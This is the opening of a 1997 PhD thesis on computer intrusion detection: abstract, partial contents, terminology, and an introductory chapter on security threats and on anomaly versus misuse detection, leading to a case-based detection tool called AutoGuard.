1997

New directions in computer intrusion detection

Mansour Esmaili

University of Wollongong
NOTE

This online version of the thesis may have different page formatting and pagination from the paper copy held in the University of Wollongong Library.

UNIVERSITY OF WOLLONGONG

COPYRIGHT WARNING

You may print or download ONE copy of this document for the purpose of your own research or study. The University does not authorise you to copy, communicate or otherwise make available electronically to any other person any copyright material contained on this site. You are reminded of the following:

Copyright owners are entitled to take legal action against persons who infringe their copyright. A reproduction of material that is protected by copyright may be a copyright infringement. A court may impose penalties and award damages in relation to offences and infringements relating to copyright material. Higher penalties may apply, and higher damages may be awarded, for offences and infringements involving the conversion of material into digital or electronic form.
New Directions in Computer Intrusion Detection

A thesis submitted in fulfillment of the requirements for the award of the degree

Doctor of Philosophy

from

UNIVERSITY OF WOLLONGONG

by

Mansour Esmaili

Computer Science Department
March 1997
Dedicated to

my parents

&

my lost friend

Reza
Declaration

This is to certify that the work reported in this thesis was done by the author, unless specified otherwise, and that no part of it has been submitted in a thesis to any other university or similar institution.

Mansour Esmaili
March 16, 1997
Abstract

New Directions in Computer Intrusion Detection
Mansour Esmaili
PhD. in Computer Science
University of Wollongong, 1996

This thesis proposes new approaches to the development of efficient and reliable intrusion detection systems and describes the development of a continuous case-based intrusion detection tool, called AutoGuard. To deal with the uncertainty in the audited data on the target systems, we use Probabilistic and Evidential Reasoning to detect abnormality in the user behavior more effectively. These two methods provide a natural representation of approximate and uncertain information. Evidential Reasoning also provides a formal basis for the key operations of fusion and translation needed to integrate multiple sources of information.

Case-based reasoning provides a useful approach for representing knowledge about past intrusions into computer systems and facilitates mechanisms for retrieving and using relevant past cases to solve and reason about new situations.

AutoGuard is an advanced case-based reasoning system that analyzes the audit trails of multi-user computer systems in search of impending security violations. AutoGuard presents intrusions as cases within its case-base and uses them to seek out those events within the target system corresponding to known intrusion scenarios. Unlike comparable analysis tools that pattern match sequences of audit records to the expected audit trails of known penetrations, AutoGuard focuses on the class of penetrations and the effects that the individual steps of a penetration have on the system. The case-base is more intuitive to read and update than current penetration rule-bases and allows the system to provide greater functionality to detect impending compromises.
Author's Publications


Many people deserve acknowledgment for their support and assistance during the development of this thesis. First I would like to thank my parents for their support and unconditional support. Secondly, I wish to thank my advisor, Associate Professor Reihaneh Safavi-Naini for her interest in this thesis and supporting me through it. I also thank Dr. M. Bala Balachandra for his suggestions. Each meeting with him added invaluable aspects to the implementation and broadened my perspective. Many thanks to Ms. Margot Koorey, especially for proofreading of this thesis and her help in its preparation. I also thank Professor Jennifer Seberry for her financial support during my full-time study in the department of Computer Science. I wish to thank all the staff in the Center for Computer Security Research for their help and assistance. Finally, I wish to dedicate this thesis to the memory of my friend whom I lost in action and will never forget.
Abstract

Author's Publications

Acknowledgments

1 Introduction
   1.1 Aims and Objectives ........................................... 1
   1.2 Terminology .................................................... 3
   1.3 Use of Examples ................................................ 5
   1.4 Motivation ....................................................... 6
   1.5 Computer Security and it's Role in Network Environment .... 8
       1.5.1 Threats to Security ....................................... 9
       1.5.2 Security Problems and Common Causes ..................... 10
       1.5.3 Detection of Threats ...................................... 11
   1.6 What is Intrusion Detection? ................................... 13
       1.6.1 Premise and Limitations of Intrusion Detection .......... 15
   1.7 Thesis Outline .................................................. 16
   1.8 Summary .......................................................... 17

2 Review of Intrusion Detection ...................................... 18
   2.1 Introduction ..................................................... 18
   2.2 Anomaly Intrusion Detection .................................... 18
       2.2.1 Statistical Approaches .................................... 19
       2.2.2 Feature Selection .......................................... 20
       2.2.3 Combining Individual Anomaly Measures to Get a Single Measure 21
       2.2.4 Predictive Pattern Generation ................................ 22
       2.2.5 Neural Networks ............................................ 23
<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>5.5.1 Case retrieval strategy</td>
<td>115</td>
</tr>
<tr>
<td>5.5.2 Case selection strategy</td>
<td>115</td>
</tr>
<tr>
<td>5.5.3 Action Module</td>
<td>117</td>
</tr>
<tr>
<td>5.6 User Interaction</td>
<td>118</td>
</tr>
<tr>
<td>5.7 AutoGuard as Part of a Hybrid System</td>
<td>119</td>
</tr>
<tr>
<td>5.8 Performance</td>
<td>121</td>
</tr>
<tr>
<td>5.8.1 Timing Results</td>
<td>122</td>
</tr>
<tr>
<td>5.8.2 An AutoGuard Session</td>
<td>124</td>
</tr>
<tr>
<td>5.9 Summary</td>
<td>126</td>
</tr>
<tr>
<td><strong>6 Conclusions and Future Prospects</strong></td>
<td>127</td>
</tr>
<tr>
<td>6.1 Summary of Issues and Results</td>
<td>127</td>
</tr>
<tr>
<td>6.2 Fulfillment of Aims and Objectives</td>
<td>129</td>
</tr>
<tr>
<td>6.3 Future Directions</td>
<td>130</td>
</tr>
<tr>
<td>6.4 Final Thoughts</td>
<td>131</td>
</tr>
<tr>
<td><strong>Bibliography</strong></td>
<td>132</td>
</tr>
<tr>
<td><strong>A Auditing in UNIX System</strong></td>
<td>146</td>
</tr>
<tr>
<td>A.1 Auditing Facility</td>
<td>146</td>
</tr>
<tr>
<td>A.2 Audit Record Structure</td>
<td>148</td>
</tr>
<tr>
<td><strong>B Attack Scenarios</strong></td>
<td>150</td>
</tr>
<tr>
<td><strong>C Policies</strong></td>
<td>162</td>
</tr>
</tbody>
</table>
List of Tables

4.1 Comparison of Case-based and Rule-based Reasoning. .................. 72
4.2 Description of four different parts of a case. ......................... 88
4.3 Command classes used for the Unix operating system. ............... 89
4.4 Definition of some risk factors. ........................................ 91

5.1 SunOS Audit Record Header ............................................ 108
5.2 Audit Event classes defined for the Record Event Field ............. 109
5.3 Extrapolating the timing results to match 20 cases .................. 123

C.1 Purdue University Computer Security Network Policy. ............... 162
List of Figures

<table>
<thead>
<tr>
<th>Figure</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>2.1</td>
<td>A conceptual use of neural networks in Intrusion detection</td>
<td>23</td>
</tr>
<tr>
<td>2.2</td>
<td>A state transition diagram</td>
<td>27</td>
</tr>
<tr>
<td>2.3</td>
<td>A generic intrusion detection model</td>
<td>29</td>
</tr>
<tr>
<td>3.1</td>
<td>Block diagram for the system</td>
<td>40</td>
</tr>
<tr>
<td>3.2</td>
<td>Piece-wise linear function</td>
<td>45</td>
</tr>
<tr>
<td>3.3</td>
<td>Inference network for the general example.</td>
<td>46</td>
</tr>
<tr>
<td>3.4</td>
<td>Network representing intrusion scenario</td>
<td>48</td>
</tr>
<tr>
<td>3.5</td>
<td>Network representing the “mail” intrusion scenario</td>
<td>50</td>
</tr>
<tr>
<td>3.6</td>
<td>A trivial Bayesian network modeling intrusive activity.</td>
<td>52</td>
</tr>
<tr>
<td>3.7</td>
<td>Lattice of all possible subsets of the universe $\Theta = {A, B, C, D}$</td>
<td>55</td>
</tr>
<tr>
<td>3.8</td>
<td>Frames and compatibility relations</td>
<td>61</td>
</tr>
<tr>
<td>3.9</td>
<td>Frames and compatibility relations</td>
<td>62</td>
</tr>
<tr>
<td>4.1</td>
<td>(a) Problem-solving model of CBR, (b) Interpretive model of CBR</td>
<td>69</td>
</tr>
<tr>
<td>4.2</td>
<td>Case-based reasoning flowchart (Reproduced from [162]).</td>
<td>71</td>
</tr>
<tr>
<td>4.3</td>
<td>A graphical representation of a semantic net</td>
<td>76</td>
</tr>
<tr>
<td>4.4</td>
<td>A typical Frame.</td>
<td>77</td>
</tr>
<tr>
<td>4.5</td>
<td>An example of a frame hierarchy for computer users class.</td>
<td>78</td>
</tr>
<tr>
<td>4.6</td>
<td>Flat Memory Organization of cases</td>
<td>79</td>
</tr>
<tr>
<td>4.7</td>
<td>Hierarchical Memory Organization of cases</td>
<td>80</td>
</tr>
<tr>
<td>4.8</td>
<td>Various CBR applications and systems</td>
<td>82</td>
</tr>
<tr>
<td>4.9</td>
<td>The overall structure of the intrusion detection case base reasoner.</td>
<td>85</td>
</tr>
<tr>
<td>4.10</td>
<td>Two intrusion scenarios</td>
<td>86</td>
</tr>
<tr>
<td>4.11</td>
<td>Two equivalent attack scenarios.</td>
<td>89</td>
</tr>
<tr>
<td>4.12</td>
<td>The intrusion scenario in a case.</td>
<td>90</td>
</tr>
<tr>
<td>4.13</td>
<td>Two equivalent attack scenarios.</td>
<td>91</td>
</tr>
<tr>
<td>4.14</td>
<td>Mapping the risk factors</td>
<td>92</td>
</tr>
</tbody>
</table>
4.15 A graphical representation of a class. ....................................... 93
4.16 A hierarchical illustration of UNIX commands. .............................. 94
4.17 Representation of partitions in the case. ..................................... 95
4.18 A template case. ............................................................. 96
4.19 A frame representation of the case shown in Figure 8. ..................... 97
4.20 Organizing a set of cases in a list in the case memory ..................... 98
4.21 The CBR block diagram. .................................................. 98
4.22 Example of cases with similar sequences .................................. 98
4.23 Matching sequence (... in Audit trail includes all the audit data which do
not match with any cases in the case memory). .................................. 99

5.1 Case-based intrusion detection process. ...................................... 105
5.2 Mapping of SunOS Release 4.1 C2-BSM audit record format to Auto-
Guard prerequisite audit record format ........................................ 111
5.3 An example case representing an intrusion scenario. ......................... 114
5.4 Sample output from CBR module .......................................... 117
5.5 User interaction in AutoGuard ............................................ 119
5.6 Organization of intrusion detection components ............................ 120
5.7 Time for matching each case for a 34KB audit file. 1-Link, 2-Debug,
3-Mail, 4-Mask and 5-Print cases ........................................... 122
5.8 Time for matching (a) multiple cases and (b) multiple copies of program. 123

A.1 Audit Event Mask (the bad_lvl, chg_nm, and con_chan_l are examples of enhanced security events which are only recorded on systems with
Enhanced Security Release). ................................................... 147
Chapter 1

Introduction

In this chapter the aims and objectives of this thesis are described, the need for securing computer systems is motivated and the role of intrusion detection in their security is discussed. A broad overview of the field of intrusion detection, as presented in the literature, is also given.

The growing concern over the security of computer installations has led to the recent development of numerous intrusion detection systems. All of these systems rely on features of user and system behavior to determine the likelihood of an attack. The choice of these features in current intrusion detection systems is somewhat arbitrary and is based solely on the opinion of an expert.

1.1 Aims and Objectives

Classifying user or system behavior is a very hard problem. One problem is that only a small fraction of behavior is misuse; another is that often misuse looks like normal use, therefore it can be difficult to distinguish between intruders and normal users. As a result, classification can result in "false negatives", wherein an attacker is misclassified as a normal user. "False positives", where a normal user is classified as an attacker, can also degrade productivity in the system being protected by invoking countermeasures unnecessarily. Further, it will be difficult (impossible) to identify all types of intrusive behavior in advance.

The audit trail records provided by a computer system are the main source of information regarding behavior of the users of that system. The Intrusion Detection System (IDS) uses these records in its analysis of the expected and proper user behavior for that system.

Auditing was initially designed for accounting purposes rather than for system security. Hence, many desired auditable events may be unavailable to the security system if
1.1. Aims and Objectives

The old auditing system is still used. The audit trail is normally designed and provided by the vendor of the computer system in question. The amount of information generated by the audit trail mechanism for even a single user can be tremendous, possibly in excess of 10 megabytes of data per user per day. Processing such a huge amount of information, viz. the collection, storage and timely analysis of the records, can become problematic, therefore overall system performance may become adversely affected.

Automated analysis of audit data provides a practical means for efficiently analyzing large volumes of audit data. Many Intrusion Detection Systems are automated audit data analysis tools which not only aid in identifying security violations, but can also detect threats to security by real-time tracking of user behavior.

Many researchers have looked at computer vulnerabilities from the view point of cataloging and classifying them so that the classification can provide a useful feedback to software engineers. By being aware of the nature and statistics of flaws at different stages of the software life cycle, engineers can take efforts to minimize their occurrences.

Work has also been done to use pattern directed approaches to detect vulnerabilities in source code, for example, in the RISOS project [61]. Pattern matching has also been used to detect intrusions using their signatures [112].

The aim of this thesis is to propose new approaches to improve the performance of intrusion detection in computer systems. The proposed approaches include reasoning under uncertainty and case-based reasoning. Two methods of reasoning under uncertainty are proposed.

The first approach utilizes probabilistic reasoning (Bayesian method) to model intrusions and predicts the next user action (attacker) and calculates the risk of that action combined with previous actions to the system.

Evidential reasoning (Dempster-Shafer Theory) provides the basis for the second approach to model intrusion scenarios. The system determines if the user is an attacker by observing and following user behavior.

Finally, case-based reasoning, models each intrusion scenario as a case and tries to match user actions against the cases already in the case-base. Depending on the depth of the match, it assigns a combined risk factor to each case and decides if the user is an intruder or not.

In short the objectives of this thesis are:

1. to illustrate that uncertain reasoning methods, such as probabilistic reasoning and evidential reasoning can be used to enhance performance of intrusion detection,

1A good description of their work can be found in the study by Aslam [17].
2. to propose a case-based reasoning approach to intrusion detection, and
3. to implement an intrusion detection system using case-based reasoning approach.

1.2 Terminology

This section explains several terms used throughout this thesis. Some of the terms have well-accepted definitions among security professionals, while others have been used in a specific way in this thesis. When explaining a term, references to other terms defined in this section have been italicized.

- **Audit record/Event.**
  An audit record is an individual entry of an audit trail. It is also referred to as an "event" in this thesis. The number of distinct event types is finite and known a priori. Events are tagged with data. There is a type field with every event that distinguishes amongst events in the event stream. Events can have any number, though usually a small number, of tag fields. The exact number and nature of the fields may be dependent on the type of the event. The layout of each event is fixed, although each event type can have a different layout. Abstractly, each event is a tuple with a field that indicates its type.

- **Audit trail/Event stream.**
  An audit trail [121] is a chronological record of system activities that is sufficient to enable the reconstruction, review and examination of the sequence of activities surrounding or leading to each event in the path of a transaction from its inception to output of final results.

  The term "event stream", against which cases are matched, is used in the thesis in the same sense as an audit trail. In practice, audit trails record service requests of applications from the operating system, and events are when applications make system calls. Using system service requests to record application activity provides a trustworthy, application independent monitoring technique that works for all applications, without requiring intrusive instrumentation of the applications. Some important applications, such as login have, however, been retrofitted to generate their own specific events which overlap with other events in the audit trail.

- **C2 security rating of computer systems.**
  A Department of Defense evaluation criteria class that requires auditing and protection of encrypted passwords, among others, as described in the Orange Book
1.2. Terminology

[150]. The primary motivation behind the Orange Book was the need to quantify security and trust, because different organizations and different types of information require different types of security [165]. Briefly, the Orange Book defines four categories of security protection: D – minimal security, C – discretionary protection, B – mandatory protection and A – verified protection. Each class requires a specific set of criteria to be met by computer systems in that category.

- **Discretionary/Mandatory access control.**
  
  In discretionary access control the owner of an object controls access to the object for the owner, a group and all others. The UNIX system provides discretionary access control because the owner of a file may do anything with it. The access control permissions can be adjusted so that even the owner cannot read a file, or, on the other extreme, everybody can access the file.

  In mandatory access control the system enforces access to the objects and hence a user can no longer change access rights to the objects. This results in higher security and also prevents damages due to accidental mistakes.

- **Exploitation/Intrusion.**
  
  An exploitation is a set of actions that results in a violation of the security policy of a computer system. In this thesis the term "intrusion" is used in the same sense as exploitation. Intruders exploit system vulnerabilities or flaws to gain unauthorized access to the system. These exploitations can often be encoded as cases that can be matched against the audit trail to detect them.

- **False negative.**
  
  When an attacker is classified as a normal user the error is referred to as false negative.

- **False positive.**
  
  When a normal user is classified as an attacker the error is referred to as false positive.

- **Flaw.**
  
  A flaw is defined in [121] as an error of commission, omission or oversight in a system that allows protection mechanisms to be bypassed. Vulnerabilities and flaws are used synonymously.
1.3 Use of Examples

- **Security policy.**
  A security policy is defined as the set of laws, rules, and practices that regulate how an organization manages, protects and distributes sensitive information [112].

- **Security vulnerability.**
  A vulnerability is defined as a weakness in automated system security procedures, administrative controls, internal controls etc. which could be *exploited* by a threat to gain unauthorized access to information or to disrupt critical processes. Anderson [14] defines a vulnerability in a less abstract way as a known or suspected flaw in the hardware or software design or operation of a system that exposes it to penetration of its information.

1.3 Use of Examples

The basic goal of all operating systems is to provide a *convenient* and *efficient* interface to computer system resources [173]. They partition the set of services exported to the user in similar ways, even though the details may differ. Kumar [112] believes that different operating systems have similar vulnerabilities:

"... Generic studies of operating system flaws, such as those done by Linde [119] and Landwehr et al. [115] have shown similarities among operating system vulnerabilities. In each category of their study, examples have been drawn from several operating systems. ..."

If operating systems have similar vulnerabilities, and offer similar user visible resource abstractions, then the methods of exploiting these vulnerabilities are also likely to be similar.

In this thesis the examples of vulnerabilities and descriptions of operating environments are derived from the UNIX operating system. The choice of using UNIX as a vehicle to illustrate how security vulnerabilities can be represented and detected is incidental. It is because we are most familiar with UNIX, and because most publicly discussed vulnerabilities such as those in bugtraq mailing list [2], the *8lgm* advisories[1] and the CERT advisories [3] have predominantly dealt with UNIX vulnerabilities. This is also done with the belief that detection techniques and principles applicable to UNIX are largely applicable to other operating systems as well, even though the details of such detection may differ. It is therefore easy to use these examples to illustrate the ideas discussed in this thesis because details of these vulnerabilities are public.
1.4 Motivation

Other operating systems, such as VAX/VMS, VM/CMS, IBM/OS2 and MS/Windows95 are proprietary and their source code has not been available for wide scrutiny. Therefore, details of security vulnerabilities in these operating systems are largely private and do not provide a good example set of vulnerabilities from which to illustrate our ideas.

1.4 Motivation

Networked computer systems are under attack and the number of attacks is growing exponentially. In 1990, 252 incidents were reported to the Computer Emergency Response Team (CERT). In just the first six months of 1994, that number had grown to 1172. In addition to the growth in the number of reported incidents, the number of systems involved per incident is growing [181].

Furthermore, it seems probable that most incidents are not detected or reported. For example, a particularly U.S. security conscious DoD site detected 69 attacks in 1992. After installation of an intrusion detection tool, the number of detected attacks raised to 4100 in just the first quarter of 1993 [181]. In a second example, ASSIST, the U.S. Department of Defense incident response team, recently evaluated the security level of their sites by launching automated attacks against it continuously for two months. Only one person reported suspicious activity.

Why are so many attacks occurring? Studies reveal computer attacks have similarities with many other crimes: perpetrators have many motives, including greed, revenge, the thrill of the chase and peer pressure [18, 148]. As the Internet continues to grow, and as more and more commercial activity takes place over it, it would seem likely that the problem will continue to worsen.

Studies also suggest that many intruders are deterred by the perceived risks involved. One of the intruder's greatest fears is losing his or her anonymity [148].

Unfortunately, attackers can take advantage of the architecture of the Internet to hide their point of origin, thus preserving their anonymity. Since many hosts are insecure, intruders assemble a collection of accounts on hosts around the world that they have broken into. When conducting an attack, they log-in through a series of such hosts before assaulting the target. Since the machines in question are in different administrative domains, with personnel who may not know or trust one another in advance, and perhaps do not even have the same legal system, this makes it extraordinarily difficult to trace back the chain of activity to its source. Clifford Stoll's experience is a good example of
Intrusion detection and network security are becoming increasingly more important in today's computer-dominated society. As more and more sensitive information is being stored on computer systems and transferred over computer networks, more and more crackers are attempting to attack these systems to steal, destroy or corrupt that information. While most computer systems attempt to prevent unauthorized use by some kind of access control mechanism, such as passwords, encryption, and digital signatures, there are several factors that make it very difficult to keep these crackers from eventually gaining entry into a system [24, 33, 44, 43, 128]. Many computer systems have several undetected security flaw that may allow outsiders (or legitimate users) to gain unauthorized access to sensitive information at least for a limited time, this is often referred to as "residual risk". In some cases, it may not be practical to replace such a flawed system with a new, more secure system. Even a supposedly secure system can still be vulnerable to insiders misusing their privileges, or it can be compromised by improper operating practices. While many existing systems may be designed to prevent specific types of attacks, other methods to gain unauthorized access may still be possible. Due to the tremendous investment already made into the existing infrastructure of open (and possibly insecure) communication networks, it is infeasible to deploy new, secure, and possibly closed networks. Since the event of an attack should be considered inevitable, there is an obvious need for mechanisms that can detect outsiders attempting to gain entry into a system, that can detect insiders misusing their system privileges, and that can monitor the networks connecting all of these systems together.

The goal of any intrusion detection system must be to aid system security officer in the detection of penetration and abuse. The expert system should provide the knowledge of an "expert" security officer. This is a minimum standard of performance for an intrusion detection system. Humans generally do not do a very good job of audit trail analysis, since the volume of audit record data generated often makes this a difficult and time consuming job. The set of penetrations or abuses detected by a security officer with the aid of the automated system should be a superset of what would have been detected by the security officer unaided.

Coding and reapplication of knowledge under similar circumstances is the basis of an expert system. This knowledge is encoded in the form of facts (assertions about the state of a problem solution) and heuristics (rules which govern the transformation of the solution state).

Intrusion detection systems (IDS) require that basic security mechanisms are in place
which enforce authorization rules and control over system, data and other resource access on computer or network, and that an audit trail be available to record a variety of computer usage activity. Intrusion detection systems attempt to identify security breaches through the analysis of these computer security audit trail. Intrusion detection systems are based on the principle that an attack on a computer system (or network) will be noticeably different from normal system (or network) activity [12]. An intruder to a system (possibly masquerading as a legitimate user) is very likely to exhibit a pattern of behavior different from the normal behavior of a legitimate user. The job of IDS is to detect these abnormal patterns by analyzing numerous sources of information that are provided by the existing systems.

However, due to the uncertainty in the data, most of the intrusion detection systems have to deal with the problems of "false negatives" (wherein an attacker is classified as a normal user) and "false positives" (where a normal user is classified as attacker). This can degrade productivity in the system being protected by invoking countermeasures unnecessarily.

1.5 Computer Security and it's Role in Network Environment

One broad definition of a secure computer is given by Garfinkal and Spafford [70] as one that can be depended upon to behave as it is expected to. The dependence on the expected behavior is referred to as trust in the security of the computer system. The level of trust indicates the confidence in expected behavior of the computer system. The expected behavior is formalized into the security policy of the computer system and governs the goals that the system must meet. This policy may include functionality requirements if they are necessary for the effective functioning of the computer system.

A narrower definition of computer security is based on the realization of confidentiality, integrity and availability in a computer system [165]. Confidentiality requires that information be accessible only to authorized users. Integrity requires that information remain unaltered and intact by accidents or malicious attempts. Finally, availability means that the computer system remains working without degradation of access and provides resources to authorized users when they need it. By this definition, an unreliable computer system is insecure if availability is part of its security requirements.

A secure computer system protects its data and resources from unauthorized access, tampering and denial of use. Confidentiality of data may be important to the commercial
success or survival of a corporation. Data integrity may be important to a hospital that maintains medical histories of patients and uses it to make life critical decisions. Consequently, data availability may be necessary for real-time traffic control.

There is a close relationship between the functional correctness of a computer system and its security. Functional correctness implies that a computer system meets its specifications. If the functionality specification includes security policy requirements, then functional correctness implies security of the computer system. However, the reverse is not true, i.e., functional error may not result in violations of the security policy, especially as it relates to confidentiality, integrity and availability. For example, an operating system service call may not process all valid arguments to it correctly, yet it may not be possible to violate the security policy by taking advantage of this fact. As another example, consider a visual WYSIWYG (what you see is what you get) word processing program that fails to highlight user selections on the display. The program is likely not to be functionally correct, but this behavior may not cause a violation of the system security policy.

1.5.1 Threats to Security

As a society we are becoming increasingly dependent on the rapid access and processing of information. As this demand has increased, more information is being stored on computers. The proliferation of inexpensive computers and computer networks has exacerbated the problem of unauthorized access and tampering with data. International connectivity not only provides access to larger and varied resources of data more quickly than ever before, it also provides an access path to the data from virtually anywhere on the network [158]. In many cases, such as the Internet worm attack of 1988 [179], network intruders have easily overcome the password authentication mechanisms designed to protect systems.

With an increased understanding of how systems work, intruders have become skilled at determining weaknesses in systems and exploiting them to obtain privileges allowing them to do anything they wish. Intruders also use patterns of intrusion that are difficult to trace and identify. They frequently use several levels of indirection before breaking into target systems and rarely indulge in sudden bursts of suspicious or anomalous activity. They also cover their traces so that their activity on the penetrated system is not easily discovered ².

²For an account of a real intrusion that originated in Europe and targeted several military computers in the U.S. see the book by Cliff Stoll [182]
1.5. Computer Security and its Role in Network Environment

Malicious programs such as viruses [41] and worms [168] are capable of replicating and traveling through connected computer systems. Unleashed at one computer, by the time they are discovered it may be impossible to trace their origin or the extent of infection. Then there may be threats from trojan horses [189] which do not replicate but are programmed to unleash on a precondition compiled into the program.

Anderson [14] has classified the type of security threats from users of a system as follows:

1. **Masqueraders** - users who are working under disguise of another user, such as using another user’s account.

2. **Misfeasors** - authorized users who abuse their privileges on the system.

3. **Clandestine** - users who evade the monitoring and/or auditing facilities on the system.

### 1.5.2 Security Problems and Common Causes

When UNIX was designed, its designers did not have security aspects of it in mind. Rather it has been as an afterthought, a feature that has been slowly integrated over the time and often too slowly. There are various operating systems designed around strong security models, but they are less commonly used and sometimes are not practical alternatives. Considering the increasing number of alerts or the statistics of unauthorized access attempts (doorknob twisting attack) [26, 40] combined with the exponential growth of Internet, it seems that the problem of security will only become larger. Some of the more common causes of security problems are discussed below but the list is not limited to these.

- **Low priority of the security issue.**

  In the rush towards networking, security of the network has often had a low priority, if not the lowest. Often there is little or no risk assessment of connecting the computer system, or adding a new software package to the system that is exposed to the rest of the world. Network and system administrators often lack the required resources to concentrate on security issues as in large environments monitoring the operating order in the system or network can quickly consume all their time and efforts. Increasing demands for the latest software and hardware by users tend to push down the security evaluation to the lowest level.
• *The chain is as weak as its weakest link.*

To defeat the security of a system it is not necessary to bypass the most secure mechanisms. Often, vulnerabilities exist because the security aspect of the system has been overlooked. For example, to allow the users fast and easy access to the file servers in some networks, the workstations are assumed to be trusted as only authorized users would use them. This is due to the lack of concern for the security in the workstation and concentration on the security of the larger multiuser systems. The security of the workstation may be easily compromised by an attacker leading to the compromise of the main system with less effort than required for breaching the stronger security mechanisms on the main system.

• *Increased connectivity and exposure.*

The general problem of networking and increased connectivity is due to the large level of exposure of the computer systems in the network to external threats.

• *False sense of security.*

Some administrators believe their systems are secure because they have implemented strong access control mechanisms with devices such as firewalls, but they forget to ensure that all the subsystems are properly setup.

• *Security versus usability.*

Security or the requirements involved with applying security are often viewed as a hindrance, by both users and administrators. For example, many systems with C2 rating are not run at full C2 level. Maintaining security is a resource intensive process. On the other hand, neglecting it can be even more costly and time consuming.

• *Security through obscurity.*

People often try to obtain secrecy by hiding the details of their systems. This may delay the compromise of their systems, but it does not provide any assurance about security as the details will be eventually found, for example by reverse engineering, causing compromise of the security.

### 1.5.3 Detection of Threats

Most computer systems provide an access control mechanism as their first line of defense [114]. This only limits access to an object in the system, however it does not restrict what a subject may do with the object itself if it has the access to manipulate it [48].
For example, having 'read access' to an object allows user to copy the object and manipulate it later. Access control therefore does not model and cannot prevent unauthorized access to the objects. Moreover, in systems where access controls are discretionary, the responsibility of protecting data rests on the end user. This often requires that users understand the protection mechanisms offered by the system and how to achieve the desired security using these mechanisms.

In multilevel systems, information flow can be controlled to enhance security by applying models such as the Bell and LaPadula model [25] to provide secrecy, or the Biba model [27] to provide integrity. However, security comes at the expense of convenience. Both models are conservative and restrict read and write operations to ensure that confidentiality and integrity of data in the system cannot be compromised. If both models are jointly used, the security model only permits access to objects at the same security classification level as the subject. Thus a completely secure system may be too restrictive.

Access controls and protection models are not helpful against insider threats or compromise of the authentication model. If a password is weak and is compromised, access control measures cannot prevent the loss or corruption of information that the compromised user was authorized to access. In general, static methods of assuring security properties in a system may simply be insufficient, or make the system over-restrictive to its users. For example, static techniques may not be able to prevent violation of security policy that results from browsing of data files; and mandatory access controls [150], that only permit users access to data for which they have an appropriate clearance, make the system cumbersome to use. A dynamic method, such as behavior tracking, is therefore needed to detect and perhaps prevent breaches in security.

The difficulties in engineering complex, bug-free software are unlikely to be resolved in the near future. Faults in system software are often manifested as security weaknesses. Moreover, software life cycle times are being continually shortened because of increased market competitiveness. This often results in poor designs or inadequate testing, further aggravating the problem.

Computer systems are therefore likely to remain insecure for some time to come. Therefore measures must be in place to detect security breaches, i.e., identify intrusions and intruders. Intrusion detection systems fill this role and usually form the last line of defense in the overall protection scheme of a computer system. They are useful not only in detecting successful breaches of security, but also in monitoring attempts to breach security, which provides important information for timely countermeasures.
Thus, intrusion detection systems are useful even when strong preventive steps taken to protect computer systems place a high degree of confidence in their security. Furthermore, repairs of system software flaws may not always be preferable to detection of their exploitation from a practical cost-benefit consideration. Fixing bugs may not be possible without the software source and required expertise. Also large scale deployment of patches may require more cumbersome installation procedures than updating the intrusion detection database, especially when software is customized for local use at individual sites. In the case of large, complex programs, such as sendmail, it may not be conceivable to "fix" all possible flaws even when its source code is available [112]. Monitoring generic methods of exploiting vulnerabilities can be very useful in such cases.

1.6 What is Intrusion Detection?

An intrusion is defined by Heady et al. [82] as

"any set of actions that attempts to compromise the integrity, confidentiality, or availability of a resource."

An earlier study done by Anderson [14] uses the term "threat" with the same meaning and defines it as:

"the potential possibility of a deliberate unauthorized attempt to

- access information,
- manipulate information, or
- render a system unreliable or unusable."

In general, an intrusion is a violation of the security policy of the system. These definitions are general enough to encompass all the threats mentioned in the previous section. Any definition of intrusion is, of necessity, imprecise, as security policy requirements do not always translate into a well-defined set of actions. Whereas security policy defines the security goals that must be achieved by a system, detecting breaches of policy requires knowledge of steps or actions that may result in its violation.

Detecting intrusions can be divided into two categories: anomaly intrusion detection and misuse intrusion detection. The former refers to intrusions that can be detected based on anomalous behavior and use of computer resources. For example, if user Alice only uses the computer from her office between 9 AM and 5 PM, an activity on her
account late in the night is anomalous and therefore, might be an intrusion. Another user, Bob, might always login outside working hours through the company terminal server. A late night remote login session from another host to his account might be considered unusual. Anomaly detection attempts to quantify the usual or acceptable behavior and flags other irregular behavior as potentially intrusive.

One of the earliest reports that outlines how intrusions may be detected by identifying “abnormal” behavior is the work by Anderson [14]. In his influential report, Anderson presents a threat model that classifies threats generally as *external penetrations*, *internal penetrations* and *misfeasance* and uses this classification to develop a security monitoring surveillance system based on detecting anomalies in user behavior. External penetrations are defined as intrusions that are carried out by authorized computer system users; internal penetrations are those that are carried out by authorized users of computer systems who are not authorized for the data being compromised; and misfeasance is defined as misuse of authorized data and other resources by otherwise authorized users.

In contrast, misuse detection refers to intrusions that follow well-defined patterns of attack (scenarios) which exploit weaknesses in system and application software. Such scenarios can be precisely written in advance. For example, exploitation of the fingerd and sendmail bugs used in the Internet Worm attack [179] would be classified under this category. This technique represents knowledge about unacceptable behavior and seeks to detect it directly, as opposed to anomaly intrusion detection, which seeks to detect the complement of normal behavior.

The above mentioned schemes of classifying intrusions are based on their method of detection. Another classification scheme, based on intrusion types, presented by Smaha [174] attempts to classify intrusions into the following six types:

* Attempted break-ins: *often detected by abnormal behavior profiles or violations of security constraints (security policies).*
* Masquerade attacks: *often detected by abnormal behavior profiles or violations of security constraints.*
* Penetration of the security control system: *usually detected by monitoring for specific patterns of activity.*
* Leakage: *often detected by abnormal usage of I/O resources.*
* Denial of service: *often detected by abnormal usage of system resources.*
* Malicious use: *often detected by abnormal behavior profiles, violations of security constraints, or use of special privileges.*
1.6. What is Intrusion Detection?

This classification provides a grouping of intrusions based on the end effect and the method of carrying out the intrusions. Irrespective of how intrusions are classified, the main techniques for detecting them are the same: the statistical approach of anomaly detection and the precise monitoring of well-known attacks (scenarios) in the misuse detection approach. Both approaches make implicit assumptions about the nature of intrusions that can be detected by them.

1.6.1 Premise and Limitations of Intrusion Detection

Anomaly Detection

The central premise of anomaly intrusion detection is that intrusive activity is a subset of anomalous activity. This might seem reasonable, considering that if an outsider breaks into a computer account with no notion of the compromised user's pattern of resource usage, there is a good chance that his behavior will be anomalous. Ideally, the set of anomalous activities is the same set of intrusive activities. Then, flagging all anomalous activities exactly flags all intrusive activities, resulting in no false positives or false negatives [112]. However, intrusive activity does not always coincide with anomalous activity. Kumar, in his PhD thesis [112], classifies detection of activities on a computer system into four groups of possibilities, each with a non-zero probability:
